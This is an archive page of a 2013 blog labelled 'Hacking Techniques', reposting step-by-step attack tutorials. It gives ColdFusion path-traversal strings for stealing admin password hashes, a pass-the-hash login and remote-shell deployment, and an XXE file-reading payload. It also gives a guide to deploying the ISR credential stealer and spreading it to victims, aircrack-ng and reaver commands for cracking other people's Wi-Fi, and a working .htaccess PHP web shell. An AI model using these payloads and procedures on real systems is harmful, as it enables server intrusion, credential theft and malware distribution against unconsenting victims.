Turorial Grapich Design and Blog Design: Hacking Techniques

Showing posts with label Hacking Techniques. Show all posts

07:00

Hacking Cold Fusion Servers - Part II

Written By Unknown on Friday, 8 March 2013 | 07:00

Now I will go over two more additional vulnerabilities which can be potentially leveraged to attack Cold Fusion Servers. This time we will be looking at exploiting a weak uploader as well as another LFD/LFI vulnerability but with small twist. If you didn't catch the first part then I encourage you to read that thread before reading this one as it makes for better attack flow in general this way. Assuming your all set, let's begin....

Now one thing to be aware of is that Cold Fusion packed an FCKEditor in with v8 when it was first released and they didn't due proper checking on the upload types. If you give it a file as .txt but write to .cfm or .jsp it thinks this is ok! This exploit will take some coding abilities on your behalf or the ability to use Metasploit as it has a nice pre-built exploit for this one (Java Meterpreter works best for payload). You basically shoot and point with MSF and hope for the best. If the uploader is present it will try to send a multi-part upload request via POST. If successful you should be able to find a shell in '/userfiles/file/' directory of the site. Now I have coded my own script for this and tried with Metasploit but have not successfully exploited this myself so not going to post my code just yet, would like to confirm it first. You have MSF as a crutch for now, can find the module by referencing CVE-2009-2265, or just type 'use exploit/windows/http/coldfusion_fckeditor'; I will update this section when I have confirmation of working code on my part.....

OK, so in addition to the previously shown LFD/LFI to RCE vulneranility we demonstrated in part I of this series, there is another LFD/LFI vulnerability. This time it is XML External Entities (XEE) Injection in the Data Services which allows a wide range of XML based attacks, including Local File Disclosure, TCP scans and Denial of Service condition, which can be achieved by recursive entity injection, attribute blow up and other types of injection. For more information about the implications associated to this vulnerability, refer to the RFC2518 (17.7 Implications of XML External Entities): http://www.ietf.org/rfc/rfc2518.txt. I will show you how we can exploit this to map out the target server and read files. Basically we send a carefully crafted XML request to the Data Service file handler and if it is vulnerable to XEE Injection it will spit back the results we ask for. Here are some common files to check:

/flex2gateway/
/flex2gateway/http
/flex2gateway/httpsecure
/flex2gateway/cfamfpolling
/flex2gateway/amf
/flex2gateway/amfpolling
/messagebroker/http
/messagebroker/httpsecure
/blazeds/messagebroker/http
/blazeds/messagebroker/httpsecure
/samples/messagebroker/http
/samples/messagebroker/httpsecure
/lcds/messagebroker/http
/lcds/messagebroker/httpsecure
/lcds-samples/messagebroker/http
/lcds-samples/messagebroker/httpsecure

You can accomplish this with Hackbar add-on in Firefox easily enough, Burp or Netcat is just as easy. Essentially we can use the below XML Code as a framework for our file injection and enumeration, simply pass it as POST data to the vulnerable Data Service:

"<?xml version="1.0" encoding="utf-8"?><!DOCTYPE test [ <!ENTITY x3SYSTEM "<INSERT_PATH/FILE_HERE>"> ]><amfx ver="3" xmlns="http://www.macromedia.com/2005/amfx"><body><object type="flex.messaging.messages.CommandMessage"><traits><string>body</string><string>clientId</string><string>correlationId</string><string>destination</string><string>headers</string><string>messageId</string><string>operation</string><string>timestamp</string><string>timeToLive</string></traits><object><traits /></object><null /><string /><string /><object><traits><string>DSId</string><string>DSMessagingVersion</string></traits><string>nil</string><int>1</int></object><string>&x3;</string><int>5</int><int>0</int><int>0</int></object></body></amfx>"

Simply replace '<INSERT_PATH/FILE_HERE>' with the path to read an let the requests rip, like so:

Now the cool thing here is that it works regardless of OS, since it is due to how the Data Services are handling and parsing the XML data being passed, just make sure you request the proper file type for designated system type (check server response if you have no idea)...

Also in addition to reading files, you can simply pass a directory and it will spit back the directory content, making it very easy to map things out and find files worth reading. Now limited privileges may restrict some file reading but still plenty enough to cause trouble, enumerate lots of info, and possibly even read the site configuration details...

In addition to these named exploits in this Cold Fusion series, the same old usual suspects are still fair game here. SQL injection vulnerabilities just as common as on PHP or ASP based sites, and 'cfincludes' can enable source disclosures. In many cases the db can be compromised and Java commands maybe leveraged to further extend the potential attack vectors and escalation platform from that of a standard injection so keep your eyes out and don’t be afraid to take on a new site just cause it has .CFM or .JSP files instead of the oh so popular .PHP or .ASP. Hope you enjoyed this short series on hacking Cold Fusion Servers. All material for the series was available on the net in various places, all I did was wrap it up for you and try to make it a little easier to understand. If you have any questions or suggestions please post em here or let me know via PM.

Until next time, Enjoy!

source : http://kaoticcreations.blogspot.com/

12:15

Hacking Cold Fusion Servers - Part I

Written By Unknown on Tuesday, 5 March 2013 | 12:15

Today I will go over part I of a few tricks we can use to attack Cold Fusion Servers of various versions using a few published methods. Cold Fusion is an Adobe product targeted at Enterprise and Small Business owners. Probably most commonly known for and associated with CFML or Cold Fusion Markup Language, most visually associated with .cfm files on web servers. CF platforms are built on a Java core and as such it also has some built in features which also allow command execution and database interaction. The following should present you with a few methods you can use to check for common vulnerabilities on these platforms, as well as how to exploit them. Most of these were published ages ago in 2010 but there are still many sites which are either running versions which are un-patchable or just simply running unpatched software still....

I will start this series off with the most common vulnerability first, which is the known Local File Disclosure, or LFI, in the 'locale' parameter (also referenced under: CVE-2010-2861). The LFI vulnerability allows us to read files off of the target system, without any authentication. The neat thing that makes this one different than most LFD is that if we play our cards right we can use this vulnerability as a foothold to further penetrate our target, read and see. We first try to find the admin page, as it is the most commonly vulnerable page, but certainly not the only one. You can typically find it at one of the following locations:

/CFIDE/administrator/index.cfm
/CFIDE/administrator/enter.cfm
/CFIDE/componentutils/index.cfm
/CFIDE/componentutils/login.cfm

You can determine the version of the CF Server by simply viewing the login page in most cases as the image usually contains the version graphically, like so:

Knowing the version is important as it helps us to determine the appropriate path to use to try and turn this LFD into something useful. Now if you know the full path to the CF '.properties' file then you're in business as it contains the CF admin password hashes. The list of possible paths worth trying are as follows:

v6: locale=..\..\..\..\..\..\..\..\CFusionMX\lib\password.propertiesen
v7a: locale=..\..\..\..\..\..\..\..\CFusionMX7\lib\password.propertiesen
v7b: locale=..\..\..\..\..\..\..\..\opt\coldfusionmx7\lib\password.propertiesen
v8: locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\password.propertiesen
vJRun: locale=..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.propertiesen

If you have a successful injection for one of the above files, you will see the password hash(es) show up on the page you're injecting into. It will look a bit like this:

NOTE: In version 6 & 7 encryption is not enabled by default, although i never seen a server which did not encrypt the password in hash form.

Now you can crack the password hash and login with clear text pass or we can use a little trick to bypass authentication requirements by using a pass-the-hash technique. The login form uses a bit of JavaScript magic to actually create a HMAC hash from the admin password hash and a salt value which is changed every 30 seconds. You can find this salt value by simply viewing the source code for login page, look at second occurrence of the term 'salt' or review form input details. Due to this, we pass the hash and generate the HMAC hash on our own and submit - simulating a successful login! You need to grab the salt from source:

OK, so you now have Password hash and salt in hand....

Here is some code I whipped up to accomplish this task of logging in real quick for you to get the authenticated cookie.

Quickly enter the needed details and run it. If successful, you will have the authenticated cookie presented to you in terminal, like so:

Now once you have the authenticated cookie, you're pretty much in. You can use your favorite cookie editor to load up the new 'CFAUTHORIZATION_cfadmin=<SOMEVALUEHEREONSUCCESS>'. Once loaded you simply refresh your browser and your now logged into the administrative panel for Cold Fusion. Now to try and get a shell up on the server....

If you already know the server path to web facing directory then you can move forward, if not you can check the 'Mappings' link on the left under 'Server Settings'. This will show a mapping of all paths for CF, by default the /CFIDE dir should be mapped giving us a usable path in the majority of cases. Mappings page looks like this:

Once path is known we will move to the 'Schedule Tasks' page located under 'Debugging & Logging' on left menu links.

Now you simply point the task scheduler at your remote CFM/JSP shell hosted on a server you control, stored in txt format like an RFI attack payload. You can schedule for a onetime event, it will default to current time so no need to calculate things if your on different time zone :) If you need a username/password to access the remote shell file source then provide as needed in appropriate fields of task scheduler. The next is key, mark the option to 'Publish" to true so it saves the results to a file (i.e. grab our remote shell source, and save to executable). You then provide it with the full path to where you want to write to. In the majority of cases /CFIDE is writable, otherwise poke around or generate errors in SQL queries on site to get path (standard Full Path Disclosure rules still apply here). When you form is all setup you can submit to create the scheduled task.

You will need to click on the green check-mark icon to run the scheduled task, which actually executes it and grabs our shell. If it has problems with remote file you will likely get a warning message of some kind in admin panel, edit and retry. Upon success, you can point your browser at the path you uploaded your shell to. In most cases Cold Fusion is running on Windows system with full NT AUTHORITY/SYSTEM privileges which means you pretty much own the local box now :)

If you find that 'cfexecute' is disabled and blocking your CFM shell from working properly, you can simply re-enable it from the admin panel since you already have access :)

NOTE: JSP is only supported on Enterprise versions of ColdFusion. You can actually determine Enterprise vs Standard by requesting a non-existant .jsp file and judging how the server responds!

You have now successfully shelled a Cold Fusion Server at this point and in most cases have admin privileges to do what you want (create new user, add to admin group, add/enable RDP, enjoy new RDP). In the rare *nix instances your likely running as nobody or another non-elevated user so the usual post exploit game plan still applies if you want to takeover the whole server (i.e. root the box). Hope you enjoyed this first part of this series, second part to follow shortly....

Until next time - Enjoy!

source : http://kaoticcreations.blogspot.com

19:00

ISR Stealer Tutorial

Written By Unknown on Friday, 8 February 2013 | 19:00

ISR 0.4
1.Stealers
What is Stealer?
Stealer is basically used for steal the saved cookies in browsers. It only steal The saved Passwords in browsers eg.IE, chrome, firefox, And any massangers.
Tools to use
• IS 6.0 ,6.3
• ISR 0.4
These are mainly used tools to steal the passwords.
We seen many stealers like istealer6.0 or something like that but now in this these tools are not in use bcoz we seen in logs username password is same. So we can use this upgraded version that is CALLED ISR 0.4 that is ultimate stealer to use..so use this tool to hack the password.
Here Is the tutorial to use it.
What you Need to use it.
1. Domain
2. Hosting
3. My SQL Database
4. Tools eg.ISR 0.4
1.Domain
Purchase a domain or free Doamin’s are also available.
Eg.www.example.com
2.HOSTING
Then you Want Hosting. Hosting is a web space that is used for host your website there with your domain name.
3.My SQL database
That is used to store web site information like blog posts or user information. A MySQL database is the most popular type of relational database on the web today.
4.Tools
That tools is our main part to steal the cookies from victims.
SO let’s start..
First purchase a domain and hosting accoung. OR it’s available in free also.
I am doing this with free domain and free hosting.
Here you go.
1. Go to http://000webhost.com
2. Sign up there with free order.
3. After creating your hosting and domain Go to your cpanel.
After that Create My SQL Database .
1. GO to SQL Database
[Image: isr1.png]

2. Create a database and one database user account.

[Image: isr2.png]

3. After creating Database save this information.

[Image: isr3.png]

• $dbHost = "fdb-1-5.cwahi.net"; //

(1)MySQL host
• $dbUser = "username"; // (3)MySQL username
• $dbPass = "password"; // (4)MySQL password
• $dbDatabase = "username_db1"; // (2)MySQL database name
Then back to cpanel after that
1. Go to file manger.

[Image: isr4.png]

2. Here you want go in public_html

[Image: isr5.png]

3. Here you want to upload some files of our tools that is in PHP

language.

[Image: isr7.png]

WE are using ISR 0.4

So it’s files are.
• Config.php
• Install.php
• Index.php
• Style.css
So upload these files in your directory.
After that go to your directory .
1. Click on config.php
2. Click on edit.

[Image: isr7.png]

3. Here is window opend.
4. Edit in config.php
• $dbHost = "fdb-1-5.cwahi.net"; // (1)MySQL host
• $dbUser = "username"; // (3)MySQL username
• $dbPass = "password"; // (4)MySQL password
• $dbDatabase = "username_db1"; // (2)MySQL database name
5. Replace these information with your databse information that is you are saved on your pc.
6. In next fields you can see usename password select your username and password. That is required when you want to show your logs.
7. Then click on save and go back to directory.

[Image: isr9.png]

Then go your Domain name eg.www.example.com

1. Then type in url: http://www.example.com/install.php
2. Then click on INSTALL
[Image: isr10.png]

3. After install delete install.php from your hosting.
Here is everything is done with hosting and domain.
1. Go to your tool That is ISR0.4.exe
2. Open it in url field paste your domain name link here.
Eg. http://www.example.com/index.php
3. Then click on Bulid Serve

[Image: isr12.png]

4. After bulid server bind your file with Anything and make a fud.
5. Spread it….And enjoy it…
6. TO show your logs go to your domain eg.http://www.example.com/index.php
7. Login there with your usename password.
If YOu Wnat to download these all files which You Links is Here.

DOWNLOAD

source : http://anonymouseverywhere.blogspot.com

21:29

Hack wireless work 100%

Written By Unknown on Saturday, 2 February 2013 | 21:29

Today i'm going to show you how to Crack WEP and WPA/WPA2-PSK passwords!

I'm using BackTrack 5 r3 because the tools that i'm going to use come already installed, but you can use any other Linux Distribution!

WEP Cracking

What is Aircrack-NG?

Aircrack-ng is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have been captured. It implements the standard FMS attack along with some optimizations like KoreK attacks, as well as the all-new PTW attack, thus making the attack much faster compared to other WEP cracking tools.
In fact, Aircrack-ng is a set of tools for auditing wireless networks.

How do i use this tool?

Simple, just follow my tutorial and you'll be able to crack ALMOST any WEP encrypted password.

These are active attacks, which means that you have to be near the target router in order for this to work. About 50% of signal should be good.

Let's Begin.

Open up a terminal and type:

Quote:airmon-ng

Spoiler (Click to View)

This will show you, your wireless card name. In my case it is called wlan1, but i also have wlan0.

Now, we need to set the wireless card in monitor mode, to do that type:

Quote:airmon-ng start wlan1

Ok, your wireless card is now on monitor mode. If you type airmon-ng again, it'll show you mon0

After that, type:

Quote:airodump-ng mon0

When you press enter, it should show you all the Access Points near you.
Copy the BSSID and remember the Channel Number of the target AP.

Press CONTROL+c to cancel. Do this only when you found and copied the info about the target AP.

Now, type:

Quote:airodump-ng -c [channel number] --bssid [bssid] -w wep mon0

You should know start recieving DATA.

To speed up this proccess, open up another terminal and type:

Quote:aireplay-ng -1 0 -a [BSSID] mon0

After it says it was successfull, type:

Quote:aireplay-ng -3 -b [BSSID] mon0

After a some secondsthis should appear:

When you reach 20000 of DATA, which will be really quick if you did what i said above, open another terminal and type:

Quote:aircrack-ng wep-01.cap

Now, wait for some minutes and it should give you the PASSWORD!

The password is:

Quote:EF855844B288E4BB1BA9ADF14D

PA2-PSK Cracking

Reaver

What is reaver?

Reaver implements a brute force attack against Wifi Protected Setup (WPS) registrar PINs in order to recover WPA/WPA2 passphrases.
Reaver has been designed to be a robust and practical attack against WPS, and has been tested against a wide variety of access points and WPS implementations.
On average Reaver will recover the target AP's plain text WPA/WPA2 passphrase in 4-10 hours, depending on the AP. In practice, it will generally take half this time to guess the correct WPS pin and recover the passphrase.

How do i use this tool?

As said above, just follow this tutorial :)

NOTE: Reaver doesn't need any Dictionary files!

First, type:

Quote:airmon-ng

As said earlier, this shows you, your wireless card name.

I'll use wlan0

We need to set it the wireless card on monitor mode, so type:

Quote:airmon-ng start wlan0

After that, type:

Quote:airodump-ng mon0

Now, copy the BSSID of the target AP.
Press CONTROL+c to cancel

To see the AP's that are vulnerable to WPS attacks, type:

Quote:wash -i mon0

If the target AP is vulnerable, it should say:

Quote:WPS Locked: No

Now, to start the attack, type:

Quote:reaver -i mon0 -b [BSSID] -vv

Now, you'll need to wait around 2-10 hours.

If the AP is limiting you with a message saying:

Quote:[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-trying

AND

If reaver says that it is trying the same pin, over and over, press CONTROL+c to cancel, then type:

Quote:reaver --help

This will show you the help menu, you can start playing with the options that you have.

I usually add the: -c -S -L

Quote:reaver -i mon0 -c [CHANNEL NUMBER] -b [BSSID] -S -L -vv

This one works great for me, so keep playing with the options untill it works!

When it reaches 100% it should give you some lines, the password is the one after:

Quote:WPS PSK: 'PASSWORD HERE'

And here it is!

You should also, remember the PIN.

Quote:WPS PIN: PIN HERE

Now, let's say for some reason, the router's owner changed the password for his WiFi.

Since you already have the pin, type:

Quote:reaver -i mon0 -c [CHANNEL NUMBER] -b [BSSID] -p [PIN NUMBER] -vv

And it should give you the password in a matter of seconds!

If you have any questions feel free to comment and/or ardian.izt@gmail.com

credit : saiko01 ( ABH )

18:54

ATTACKING WEBSERVERS VIA .HTACCESS

Written By Unknown on Thursday, 31 January 2013 | 18:54

A while back I was testing a CMS that had a curious feature, all uploaded files were placed in their own directory. This was not a security enhancement as the application allowed php files to be uploaded. However I coudn't help ask, what if php uploads had been restricted? The answer was .htaccess files. Using SetHandler in a .htaccess file is well known, but does not lead to remote code execution. So after some thinking I put together some self contained .htaccess web shells. I wrote both a php and a server side include shells, but other options can easily be added (jsp, mod_perl, etc).

This works by first diverting the default apache .htaccess access restriction from within the .htaccess file so we can access it as a url. Next we reconfigure the .htaccess extension to be treated as a dynamic content script and finally we have our payload. The attack works because the .htaccess parsing and processing for apache configuration directives occur before the .htaccess file is processed as a web request. There is a relatively small gotcha, the payload has to be commented out with a # at the start so it doesn't get interpreted by apache and likewise, the script interpreter must ignore the apache directives. PHP lends itself well to this as any content not within the <?php ?> tags are presented as is.

`01`	`# Self contained .htaccess web shell - Part of the htshell project`

`02`	`# Written by Wireghoul - http://www.justanotherhacker.com`

03

`04`	`# Override` `default` `deny rule to make .htaccess file accessible over web`

`05`	`<Files ~` `"^\.ht">`

`06`	`Order allow,deny`

`07`	`Allow from all`

`08`	`</Files>`

09

`10`	`# Make .htaccess file be interpreted` `as` `php file. This occur after apache has interpreted`

`11`	`# the apache directoves from the .htaccess file`

`12`	`AddType application/x-httpd-php .htaccess`

13

`14`	`###### SHELL ###### <?php` `echo` `"\n";passthru($_GET['c']." 2>&1"); ?>###### LLEHS ######`

Simply upload the preferred shell as a .htaccess file and then visit the .htaccess file via the url http://domain/path/.htaccess?c=command for remote code execution. The collection of attack files are collectively accessible from my github htshells repository.

source : http://www.justanotherhacker.com

Turorial Grapich Design and Blog Design